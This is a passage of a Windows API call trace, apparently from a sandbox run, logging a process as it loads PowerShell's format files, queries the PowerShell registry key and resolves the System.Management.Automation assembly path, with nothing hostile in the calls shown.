	[0083.920] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xeeffb751, Data2=0xf190, Data3=0x47b1, Data4=([0]=0xad, [1]=0x5d, [2]=0x99, [3]=0xc4, [4]=0x9e, [5]=0xdd, [6]=0x9c, [7]=0xb3))) returned 0x0
	[0083.920] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xa16a6594, Data2=0x8ddf, Data3=0x41f9, Data4=([0]=0xb7, [1]=0xf7, [2]=0xb2, [3]=0xfb, [4]=0xb0, [5]=0xb, [6]=0x3b, [7]=0xdb))) returned 0x0
	[0083.920] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xa9ab0dd1, Data2=0xc101, Data3=0x4c59, Data4=([0]=0xa2, [1]=0x38, [2]=0x5f, [3]=0xad, [4]=0xdc, [5]=0x33, [6]=0x2d, [7]=0x83))) returned 0x0
	[0083.921] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xc8167fe9, Data2=0xffda, Data3=0x43c5, Data4=([0]=0x81, [1]=0x91, [2]=0x7d, [3]=0x34, [4]=0xf8, [5]=0xac, [6]=0xaf, [7]=0x94))) returned 0x0
	[0083.921] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x873e5083, Data2=0xa48e, Data3=0x48c8, Data4=([0]=0xa6, [1]=0x28, [2]=0x22, [3]=0x54, [4]=0x94, [5]=0xe1, [6]=0x5c, [7]=0x67))) returned 0x0
	[0083.921] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.921] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.922] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.924] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xe3389349, Data2=0xca0f, Data3=0x4c18, Data4=([0]=0xa7, [1]=0x96, [2]=0x7a, [3]=0x77, [4]=0x45, [5]=0x5, [6]=0x3, [7]=0x5))) returned 0x0
	[0083.924] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee48c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
	[0083.924] GetLastError () returned 0x0
	[0083.924] SetErrorMode (uMode=0x1) returned 0x1
	[0083.924] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308
	[0083.924] GetLastError () returned 0x0
	[0083.924] GetFileType (hFile=0x308) returned 0x1
	[0083.924] SetErrorMode (uMode=0x1) returned 0x1
	[0083.924] GetFileType (hFile=0x308) returned 0x1
	[0083.924] ReadFile (in: hFile=0x308, lpBuffer=0x2f26ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f26ed8*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.925] GetLastError () returned 0x0
	[0083.926] ReadFile (in: hFile=0x308, lpBuffer=0x2f26ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f26ed8*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.926] GetLastError () returned 0x0
	[0083.926] ReadFile (in: hFile=0x308, lpBuffer=0x2f26ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f26ed8*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.926] GetLastError () returned 0x0
	[0083.926] ReadFile (in: hFile=0x308, lpBuffer=0x2f26ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f26ed8*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.926] GetLastError () returned 0x0
	[0083.927] CloseHandle (hObject=0x308) returned 1
	[0083.927] GetLastError () returned 0x0
	[0083.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee554, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
	[0083.927] GetLastError () returned 0x0
	[0083.927] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2f47ed4 | out: lpFileInformation=0x2f47ed4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1
	[0083.927] GetLastError () returned 0x0
	[0083.927] SetErrorMode (uMode=0x1) returned 0x1
	[0083.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
	[0083.927] GetLastError () returned 0x0
	[0083.927] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xee978 | out: phkResult=0xee978*=0x308) returned 0x0
	[0083.928] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x0, lpcbData=0xee9bc*=0x0 | out: lpType=0xee9c0*=0x1, lpData=0x0, lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.928] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x617f50, lpcbData=0xee9bc*=0x56 | out: lpType=0xee9c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.928] RegCloseKey (hKey=0x308) returned 0x0
	[0083.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
	[0083.928] GetLastError () returned 0x0
	[0083.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee4b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
	[0083.928] GetLastError () returned 0x0
	[0083.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.928] GetLastError () returned 0x0
	[0083.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.928] GetLastError () returned 0x0
	[0083.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.929] GetLastError () returned 0x0
	[0083.931] VirtualQuery (in: lpAddress=0xed6d0, lpBuffer=0xee6d0, dwLength=0x1c | out: lpBuffer=0xee6d0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.931] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x2a0e3dcd, Data2=0xf704, Data3=0x43ed, Data4=([0]=0xbd, [1]=0x6f, [2]=0xc1, [3]=0x80, [4]=0x9c, [5]=0x39, [6]=0xbb, [7]=0x98))) returned 0x0
	[0083.931] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.931] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x5ad4c32c, Data2=0x96ac, Data3=0x418c, Data4=([0]=0xa2, [1]=0xb3, [2]=0xea, [3]=0x21, [4]=0x40, [5]=0x4b, [6]=0x62, [7]=0xd3))) returned 0x0
	[0083.932] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x333d521e, Data2=0x5632, Data3=0x4d81, Data4=([0]=0x98, [1]=0x14, [2]=0x1f, [3]=0x1, [4]=0x6a, [5]=0x81, [6]=0x7e, [7]=0x53))) returned 0x0
	[0083.932] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xd6019ad4, Data2=0x883a, Data3=0x4b78, Data4=([0]=0xb8, [1]=0x13, [2]=0xdd, [3]=0x4c, [4]=0xfb, [5]=0x96, [6]=0x3d, [7]=0xdd))) returned 0x0
	[0083.932] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.932] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee48c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
	[0083.932] GetLastError () returned 0x0
	[0083.932] SetErrorMode (uMode=0x1) returned 0x1
	[0083.932] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308
	[0083.932] GetLastError () returned 0x0
	[0083.932] GetFileType (hFile=0x308) returned 0x1
	[0083.932] SetErrorMode (uMode=0x1) returned 0x1
	[0083.932] GetFileType (hFile=0x308) returned 0x1
	[0083.933] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.934] GetLastError () returned 0x0
	[0083.934] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.935] GetLastError () returned 0x0
	[0083.935] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.935] GetLastError () returned 0x0
	[0083.935] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.935] GetLastError () returned 0x0
	[0083.936] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.936] GetLastError () returned 0x0
	[0083.936] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.936] GetLastError () returned 0x0
	[0083.936] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.936] GetLastError () returned 0x0
	[0083.936] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.936] GetLastError () returned 0x0
	[0083.937] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.937] GetLastError () returned 0x0
	[0083.937] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.937] GetLastError () returned 0x0
	[0083.937] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.937] GetLastError () returned 0x0
	[0083.937] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.937] GetLastError () returned 0x0
	[0083.937] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.937] GetLastError () returned 0x0
	[0083.937] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.937] GetLastError () returned 0x0
	[0083.937] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.938] GetLastError () returned 0x0
	[0083.938] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.938] GetLastError () returned 0x0
	[0083.939] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.939] GetLastError () returned 0x0
	[0083.939] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.939] GetLastError () returned 0x0
	[0083.939] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.939] GetLastError () returned 0x0
	[0083.939] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.939] GetLastError () returned 0x0
	[0083.940] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.940] GetLastError () returned 0x0
	[0083.940] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.940] GetLastError () returned 0x0
	[0083.940] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.940] GetLastError () returned 0x0
	[0083.940] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.940] GetLastError () returned 0x0
	[0083.940] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.940] GetLastError () returned 0x0
	[0083.940] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.940] GetLastError () returned 0x0
	[0083.940] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.940] GetLastError () returned 0x0
	[0083.940] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.940] GetLastError () returned 0x0
	[0083.941] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.941] GetLastError () returned 0x0
	[0083.941] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.941] GetLastError () returned 0x0
	[0083.941] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.941] GetLastError () returned 0x0
	[0083.941] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.941] GetLastError () returned 0x0
	[0083.943] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.943] GetLastError () returned 0x0
	[0083.943] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.943] GetLastError () returned 0x0
	[0083.943] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.943] GetLastError () returned 0x0
	[0083.943] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.943] GetLastError () returned 0x0
	[0083.943] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.944] GetLastError () returned 0x0
	[0083.944] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.944] GetLastError () returned 0x0
	[0083.944] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.944] GetLastError () returned 0x0
	[0083.944] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.944] GetLastError () returned 0x0
	[0083.944] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.944] GetLastError () returned 0x0
	[0083.944] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.944] GetLastError () returned 0x0
	[0083.944] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.944] GetLastError () returned 0x0
	[0083.944] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.944] GetLastError () returned 0x0
	[0083.944] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.944] GetLastError () returned 0x0
	[0083.945] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.945] GetLastError () returned 0x0
	[0083.945] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.945] GetLastError () returned 0x0
	[0083.945] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
